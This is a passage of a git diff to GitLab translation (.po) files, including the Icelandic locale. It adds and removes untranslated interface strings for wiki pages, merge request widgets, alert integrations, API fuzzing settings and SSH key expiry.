msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33649,34 +34451,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33703,9 +34517,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33766,6 +34577,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34225,7 +35039,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34240,9 +35054,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35400,7 +36235,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35434,13 +36269,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35554,9 +36386,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35707,18 +36536,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36099,9 +36910,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36147,6 +36955,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/is_IS/gitlab.po b/locale/is_IS/gitlab.po
index 3e29b18b6a2..1776003ebab 100644
--- a/locale/is_IS/gitlab.po
+++ b/locale/is_IS/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: is\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:49\n"
+"PO-Revision-Date: 2021-04-02 00:07\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
